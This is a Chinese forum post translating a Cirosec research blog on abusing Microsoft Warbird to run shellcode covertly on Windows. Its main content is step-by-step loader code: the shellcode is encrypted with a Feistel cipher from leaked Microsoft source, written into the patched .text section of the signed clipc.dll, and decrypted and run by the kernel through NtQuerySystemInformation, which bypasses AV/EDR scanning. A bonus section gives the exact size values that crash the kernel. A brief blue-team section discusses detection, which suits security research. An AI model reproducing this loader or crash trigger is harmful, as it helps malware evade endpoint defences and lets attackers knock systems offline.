首页
社区
课程
招聘
[翻译]利用 Microsoft Warbird 执行 Shellcode
发表于: 2026-2-5 15:54 1373

[翻译]利用 Microsoft Warbird 执行 Shellcode

2026-2-5 15:54
1373

(本文翻译自德国安全实验室 Cirosec 的研究博文,文章详细分析了利用 Windows 内部代码保护框架 Microsoft Warbird 实现隐蔽加载 Shellcode 的高级对抗技术,原文链接在文章末尾)

在这篇博文中,我们将介绍 Microsoft Warbird 及其利用方式,即如何通过滥用它来隐蔽地加载 Shellcode,从而避开反病毒软件(AV)或终端检测与响应(EDR)解决方案的检测。我们将展示如何对 Shellcode 进行加密,并利用 Warbird API 让 Windows 内核为我们执行解密和加载。通过这种技术,你可以让 Shellcode 绕过那些拦截系统调用(syscall)的 EDR 解决方案:它允许你在一次系统调用中完成“分配可执行内存”、“解密 Shellcode” 以及 “跳转到已解密的 Shellcode 执行” 这三个步骤。在整个进程执行过程中,解密后的 Shellcode 永远不会出现在任何可写内存区域。你可以在Github上查看相关的概念验证(PoC)代码。

1. 基础(Basics)

1.1 介绍(Introduction)

Microsoft Warbird 是微软内部一套未公开的代码保护与混淆框架。它被用于数字版权管理(DRM),旨在保护敏感代码免受逆向工程和篡改。Warbird 支持多种混淆技术,例如基于虚拟机的混淆、常量混淆、分段加密(Section Encryption)或运行时代码保护。根据 “This is Security” 网站的报道,Microsoft Warbird 是在 Windows 8/2012 版本中引入的。其中的一个应用实例就是微软软件保护平台服务(sppsvc.exe),该服务主要负责处理 Windows 的激活算法。

Warbird 框架原本仅供微软内部服务专供。其提供的功能并非面向第三方开发者,且微软也在积极采取措施防止第三方调用。在向大家展示如何滥用这一框架之前,我们先来了解一下微软官方服务通常是如何使用 Warbird 的。

1.2 运行时代码保护(Runtime Code Protection)

在 Warbird 的诸多功能中,我们最感兴趣的、能够用于加载 Shellcode 的特性是代码的运行时解密。

Warbird 的运行时解密功能允许执行经过加密的代码。这些代码是使用专为 Warbird 开发的一种自定义 Feistel 密码(Feistel cipher)进行加密的。Feistel 密码的具体运作原理目前对我们来说并不重要,你只需要知道它是一种对数据块进行操作的对称加密算法。

在 Warbird 最初引入时,基本块(basic blocks)的解密和执行仅在用户模式下由进程自身完成。这意味着,当运行中的进程想要执行加密代码时,它会调用 Feistel 密码进行解密,分配一段新的可执行内存,将解密后的代码存入该内存,然后跳转到解密代码的起始位置执行。

为了缓解一些其他的攻击向量(例如 ROP 链等),微软在后来的某个阶段引入了任意代码防护机制(ACG,Arbitrary Code Guard),决定禁止某些用户模式进程分配新的可执行内存。这一举措防止了内存损坏漏洞利用 Windows API 来分配新的可执行内存并植入其 Shellcode。然而,ACG 同时也导致 Warbird 无法在这些进程中正常工作。

因此,加密代码的解密和内存分配工作被移到了内核层。这意味着,Windows 内核现在负责在进程的堆(Heap)中分配内存,并将其标记为可执行。这样一来,即便执行进程本身被禁止分配可执行内存(例如旧版 Microsoft Edge 中受特殊保护的浏览器进程),Warbird 依然可以使用。再强调一下:微软认为,提供一个内核级 API 来负责代码的解密和内存分配,比允许进程自行解密其加密代码要更“安全”——仅凭这一点,就足以令人感到惊讶(或引起安全研究员的警觉)了。

运行时解密例程的流程如下:
● 进程想要执行加密代码。
● 进程在其自身内存中定位相应的加密代码,并将其传递给内核。
● 内核对代码进行解密,在进程的堆(Heap)中分配一个新的可执行内存区域,将解密后的代码复制到该新内存区域,并将其标记为可执行。
● 内核将执行控制权交还给进程,使其从解密代码的起始位置开始执行。
图片描述

1.3 Feistel 密码(Feistel Cipher)

Warbird 所使用的自定义 Feistel 密码是一个专有实现,微软对此没有任何公开文档。

值得庆幸的是,DownWithUp 的一篇博文已经记录了如何通过巧妙组合系统调用来利用 Warbird API,从而让内核替你完成任意数据的加密。通过这种方式,我们可以将内核视为 Feistel 密码的“黑盒”实现,而无需了解该算法本身的细节。

我们曾尝试使用他们的技术来为 Warbird 解密例程加密数据,但发现这种方式加密后的数据无法在运行时解密过程中正常工作。对我们来说幸运的是,2017 年泄露的 Warbird 框架源代码中包含了一个可运行的 Feistel 密码实现;我们可以利用它来加密 Shellcode,使其适配运行时解密例程。这段源代码已经在互联网上流传了一段时间,最近在 Github 上也可以获取到。

1.4 Warbird 系统调用(Warbird Syscall)

为了向内核请求解密和内存分配,进程必须调用 NtQuerySystemInformation 系统调用,并将 SystemInformationClass 参数设置为 SystemCodeFlowTransition (0xB9)。尽管微软官方并未公开此功能的文档,但得益于 Windows 源代码的泄露,我们可以获取大量关于该系统调用的信息。该系统调用接收一个指向结构体的指针,该结构体中包含用于指定待执行操作类型的 WbOperationType;同时还接收另一个指向结构体的指针,其中包含该操作所需的附加数据。根据泄露的源代码,WbOperationType 枚举包含以下取值:

1
2
3
4
5
6
7
8
9
10
11
typedef enum {
    WbOperationNone,
    WbOperationDecryptEncryptionSegment,
    WbOperationReEncryptEncryptionSegment,
    WbOperationHeapExecuteCall,
    WbOperationHeapExecuteReturn,
    WbOperationHeapExecuteUnconditionalBranch,
    WbOperationHeapExecuteConditionalBranch,
    WbOperationProcessEnd,
    WbOperationProcessStartup,
} WbOperationType;

我们将重点关注 WbOperationHeapExecuteCall 操作,它可用于执行前文所述的内核解密和内存分配例程。为该操作传递给系统调用的结构体同样包含在泄露的源代码中,但自泄露以来,其结构似乎发生了一些细微变化。结合泄露的代码以及 Alex Ionescu 在 Ekoparty 2017 大会上关于 Warbird 的演讲信息,我们可以推测该结构体的内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _HEAP_EXECUTE_CALL_ARGUMENT {
    uint8_t ucHash[0x20];
    uint32_t ulStructSize;
    uint32_t ulZero;
    uint32_t ulParametersRva;
    uint32_t ulCheckStackSize;
    uint32_t ulChecksum : CHECKSUM_BIT_COUNT;
    uint32_t ulWrapperChecksum : CHECKSUM_BIT_COUNT;
    uint32_t ulRva : RVA_BIT_COUNT;
    uint32_t ulSize : FUNCTION_SIZE_BIT_COUNT;
    uint32_t ulWrapperRva : RVA_BIT_COUNT;
    uint32_t ulWrapperSize : FUNCTION_SIZE_BIT_COUNT;
    uint64_t ullKey;
    WarbirdRuntime::FEISTEL64_ROUND_DATA RoundData[NUMBER_FEISTEL64_ROUNDS];
} HEAP_EXECUTE_CALL_ARGUMENT, * PHEAP_EXECUTE_CALL_ARGUMENT;

我们仅重点介绍与我们的目标最相关的几个关键字段:
● ucHash:结构体中后续字段的 32 字节 SHA-256 哈希值。如果此哈希值与结构体其余部分的哈希值不匹配,内核将拒绝执行该操作。这用于防止结构体被篡改,因为该哈希是针对与解密和分配相关的字段计算的。请注意,此哈希并不提供身份验证(Authentication),仅提供完整性(Integrity)校验;因此,只要攻击者能为修改后的结构体重新计算出新的哈希值,他们仍然可以对其进行修改。
● ulStructSize:结构体的大小(以字节为单位)。
● ulRva:加密代码相对于内存中结构体起始位置的偏移量[1]。
● ulSize:加密代码的大小(以字节为单位)。
● ullKey:用于 Feistel 密码的 8 字节密钥。
● RoundData:Feistel 密码每一轮的配置数据。

其他所有字段与我们的目标无关,应将其全部置零。

随后,传递给该系统调用的完整结构体仅包含 WbOperationType 字段、HEAP_EXECUTE_CALL_ARGUMENT 结构体,以及一个指向用于接收操作结果的 NTSTATUS 变量的指针:

1
2
3
4
5
6
7
8
9
typedef struct _WB_OPERATION {
    WarbirdRuntime::WbOperationType OperationType;
    union {
        // ...
        PHEAP_EXECUTE_CALL_ARGUMENT pHeapExecuteCallArgument;
        // ...
    };
    NTSTATUS* Result;
} WB_OPERATION, * PWB_OPERATION;

2. 滥用 Warbird(Abusing Warbird)

如前所述,Warbird 系统调用本应仅由微软服务调用。为实现此限制,Windows 内核要求 HEAP_EXECUTE_CALL_ARGUMENT 结构体必须存放在 ImageSigningLevel 为 (12) 的内存区域中,这标志着该区域“属于”某个 Windows 组件。正如 DownWithUp 所指出的,这种检查可以很容易地被绕过:只需在进程中加载一个带微软签名的 DLL,然后利用 VirtualProtect (RW) 和 memcpy 将该 DLL 的 .text 段内容修改为我们的 HEAP_EXECUTE_CALL_ARGUMENT 结构体。为了方便起见,我们将加密后的 Shellcode 直接放在结构体之后,并将 ulRva 字段设置为该结构体的大小。这样一来,内核就会在同一内存区域中紧随结构体之后的位置进行解密。

数据放置完毕后,必须使用 VirtualProtect (RX) 将该 .text 段重新标记为可执行,之后便可用于发起 Warbird 系统调用。

2.1 准备( Preparation)

我们首先需要使用 Feistel 密码对想要执行的 Shellcode 进行加密。我们可以利用泄露的 Warbird 源代码中的实现来完成这一步:

1
2
3
4
5
6
BYTE shellcode[] = { ...};
BYTE encrypted[sizeof(shellcode)];
auto cipher = WarbirdCrypto::CCipherFeistel64::CreateRandom();
WarbirdCrypto::CChecksum checksum;
WarbirdCrypto::CKey key { .u64 = 0xdeadbeefcafeaffe };
cipher->Encrypt((BYTE*) shellcode, (BYTE*) encrypted, sizeof(shellcode), key, 0xf0, &checksum);

WarbirdCrypto 命名空间可以直接从泄露的源代码中提取,并包含(#include)到你的项目中。由于泄露源代码中的头文件本身无法直接独立运行,因此需要引入一些额外的包含文件(includes)才能正常工作,同时还需要一种变通方法,以便在 WarbirdRuntime 命名空间之外使用它们:

1
2
3
4
5
6
7
8
9
#include <Windows.h>
#include <set>
#include <sstream>
#define WARBIRD_CRYPTO_ENABLE_CREATE_RANDOM
#include "../warbird-example/WarbirdCUtil.inl"
#include "../warbird-example/WarbirdRandom.inl"
#define Random WarbirdRuntime::g_Rand.Random
#include "../warbird-example/WarbirdCiphers.inl"
#undef Random

为了加载加密后的 Shellcode,我们需要创建 HEAP_EXECUTE_CALL_ARGUMENT 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HEAP_EXECUTE_CALL_ARGUMENT params{
.ucHash = { }, // We'll leave this empty for now
.ulStructSize = sizeof(HEAP_EXECUTE_CALL_ARGUMENT),
.ulZero = 0,
.ulParametersRva = 0,
.ulCheckStackSize = 0,
.ulChecksum = 0,
.ulWrapperChecksum = 0,
.ulRva = sizeof(HEAP_EXECUTE_CALL_ARGUMENT), // shellcode starts right after the struct
.ulSize = static_cast<uint32_t>(sizeof(shellcode)),
.ulWrapperRva = 0,
.ulWrapperSize = 0,
.ullKey = key.u64,
.RoundData = { }
};
// Copy over the round configuration
memcpy(params.RoundData, cipher->m_Rounds, sizeof(cipher->m_Rounds));
// Lastly, calculate the hash of the struct
picosha2::hash256(
       reinterpret_cast<uint8_t*>(&params.ulStructSize), // Start after the hash field
       reinterpret_cast<uint8_t*>(&params + 1), // Up to the end of the struct
       reinterpret_cast<uint8_t*>(&params.ucHash), // Store the hash here
       reinterpret_cast<uint8_t*>(&params.ulStructSize) // End of the hash field
);

picosha2 命名空间是一个简单的 SHA-256 实现,可以在此处找到。

2.2 执行

数据准备就绪后,我们现在可以将带有微软签名的 DLL 加载到我们的进程中,将其 .text 段的内容修改为包含 HEAP_EXECUTE_CALL_ARGUMENT 结构体和加密后的 Shellcode,并将该段标记为可执行,最后调用 Warbird API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HMODULE clipc = LoadLibraryA("clipc.dll"); // Microsoft-signed DLL
if (clipc == NULL) return 1;
DWORD old;
VirtualProtect(clipc, sizeof(params) + sizeof(encrypted), PAGE_READWRITE, &old);
memcpy(clipc, &params, sizeof(params));
memcpy((uint8_t*)clipc + sizeof(params), &encrypted, sizeof(encrypted));
VirtualProtect(clipc, sizeof(params) + sizeof(encrypted), PAGE_EXECUTE_READ, &old);
NTSTATUS result = 0;
WB_OPERATION request{
       .OperationType = WarbirdRuntime::WbOperationHeapExecuteCall,
       .pHeapExecuteCallArgument = (PHEAP_EXECUTE_CALL_ARGUMENT)clipc,
       .Result = &result
};
NTSTATUS status = NtQuerySystemInformation(SystemCodeFlowTransition, &request, sizeof(request), nullptr);

就是这样!内核现在将解密 Shellcode,将其放入进程内存,并将执行流重定向到解密后的 Shellcode 起始位置。注意到我们在此过程中从未调用过任何以“解密后的 Shellcode”作为参数的系统调用了吗?在常规加载 Shellcode 的场景中通常并非如此。例如,当对某个内存区域调用 VirtualProtect 以将其设为可执行(Executable)时,该区域通常已经包含了解密后的 Shellcode;EDR 产品会以此作为检测点,通过扫描传递给内核的内存区域来匹配已知特征码。而在我们的案例中,这种检测方式是失效的:监视系统调用并扫描相关内存区域的 EDR 只会“看到”加密后的 Shellcode,因此将一无所获。上述示例的完整代码可以在我们的 GitHub 找到。

2.3 限制(Limitations)

我们已经了解了如何利用 Warbird API 加载加密的 Shellcode,但仍有一些限制需要注意:
● 我们仍然需要调用 VirtualProtect(RX) 来修改 .text 段的权限。某些 EDR 产品可能会将其视为可疑行为,但我们尚未见到仅基于此模式的检测,因为放置在 .text 段的内容是完全加密的,因此无法被识别为恶意 Shellcode。
● 我们在这里滥用的功能最初并非用于加载完整的 Shellcode 负载,而是为了处理小型的敏感代码块。Warbird API 将加密代码的大小限制在 0x10000 字节(即 64 KiB)以内,因此我们无法加载任何超过 64 KiB 的 Shellcode。或许可以通过动态加载和重新链接 Shellcode 来绕过这一限制,但我们就把这个问题留给读者作为练习了 。

我们尚未对其他可用的操作投入太多研究精力,特别是那些 DownWithUp 之前未记录的操作,因此这些可能是进一步研究的一个很好的切入点。

3. 蓝队视角(Blue Team Perspective)

这种技术在绕过现有的 Shellcode 加载检测方面非常有效。简单来说,通常情况下,当应用程序调用可能触发特定地址执行的 Windows API(如 NtCreateThreadEx)或导致内存变为可执行的操作(如 NtProtectVirtualMemory)时,反恶意软件产品会扫描该应用程序引用的所有内存地址。

随后,反恶意软件产品可能会使用特征库或基于模式的检测(启发式检测)来判断即将执行的内存内容是否为恶意。在某些情况下,反恶意软件产品甚至会直接拦截所有“分配内存、将其标记为可执行并将执行权交给新分配内存”的操作,而不管内存的实际内容是什么,尤其是当执行这些操作的可执行文件根据某种标准被判定为不可信时。

本文介绍的技术绕过了这种扫描,因为我们作为指针参数传递给 Windows API 的内存区域仅包含加密的 Shellcode。由内核自行分配的解密后的 Shellcode 地址甚至都不会返回给用户空间。由于 Shellcode 是由内核亲自“一站式”完成解密并执行的,反恶意软件产品在 Windows API 调用上设置的任何钩子(Hooks)都会被绕过。

尽管如此,为了检测此类行为,反恶意软件产品可以选择自行解密传递给 NtQuerySystemInformation 的任何 Shellcode 并检查其已知特征,或者阻止非微软进程使用任何 Warbird API,亦或是依靠行为检测和周期性内存扫描,在 Shellcode 被内核解密后对其进行捕获。

4. 总结(Conclusion)

这是一种非常强大的技术,因为它允许我们避开大多数反病毒软件(AV)和终端检测与响应(EDR)的审查。如果 EDR 产品拦截了该系统调用,它只能看到加密的 Shellcode,而看不见被执行的解密后的代码,因此 EDR 用于检测恶意代码的任何特征码或启发式算法都不会被触发。

我们已经在实践中成功利用该技术绕过了多个主流的 EDR 解决方案。

5. 彩蛋:蓝屏死机(Bonus: BSOD)

在研究和实验 Warbird 的过程中,我们发现了 Warbird API 中的一个漏洞,可被用于触发蓝屏死机(BSOD)。当在进程堆中分配内存时,内核会为分配内存的基地址增加一定的随机性,这推测是作为一种“伪地址空间布局随机化(Pseudo ASLR)”。

该分配函数中的一个实现错误会导致内核在所需大小(required_size)处于 0xffc1 到 0xffff 之间时触发“除以零”错误:

1
2
uint32_t slot_count = (required_size + 63) / 64;
uint32_t rand_offset = ExGenRandom(1) % (1024 - slot_count);

反向推导可知,当 slot_count == 1024 时,内核将尝试执行除数为零的取模运算,这会导致内核崩溃。由于 slot_count 只是 required_size 除以 64(向上取整)的结果,触发该漏洞所需的 required_size 范围是 0xffc1 <= required_size <= 0xffff。

这里的 required_size 实际上就是 ulSize + 16,因此 ulSize 在 0xffb1 到 0xfff0 范围内的任何值都会导致除以零错误。我们在 GitHub 中也包含了针对此漏洞的 PoC 代码。

6. 扩展阅读(Further Reading)

Alex Ionescu – The “Bird” That Killed Arbitrary Code Guard
DownWithUp – Example of Windows Warbird Encryption/Decryption
c56K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1M7U0c8F1k6r3&6Q4x3V1k6%4j5i4u0T1K9i4u0V1i4K6u0V1k6i4S2S2L8i4m8D9k6b7`.`.
ed0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2K9i4u0T1N6i4y4Q4x3X3c8K6k6h3y4D9j5h3u0Q4x3V1k6%4j5i4u0T1K9i4u0V1N6X3@1`.
37aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6w2K9f1k6A6L8s2c8W2M7V1k6A6j5X3g2J5b7$3!0F1N6r3g2^5N6q4)9J5c8Y4N6S2M7X3u0A6M7X3c8Q4x3X3c8G2j5X3k6#2M7$3y4S2N6r3!0J5
911K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6w2K9f1k6A6L8s2c8W2M7V1k6A6j5X3g2J5b7$3!0F1N6r3g2^5N6q4)9J5c8V1#2A6j5%4u0G2M7$3!0X3N6q4)9J5k6s2N6S2M7X3u0A6M7X3b7`.

[1] 实际上这里的机制要稍微复杂一些,因为该偏移量是相对于当前 Warbird 块(block)的起始位置而言的。不过,如果我们把 ulParametersRva 设置为零,那么偏移量就会变为相对于该结构体的起始位置。更多信息请参考 Alex Ionescu 的相关演讲。

(原文链接:Abusing Microsoft Warbird for Shellcode Execution

(声明: 本文翻译仅供网络安全研究、防御技术交流及底层原理探究参考。请勿将相关技术用于任何非法用途,读者因利用文中信息导致的任何直接或间接后果,由使用者本人承担。)


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2026-2-5 16:02 被ZyOrca编辑 ,原因: 补充缺失的内容
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回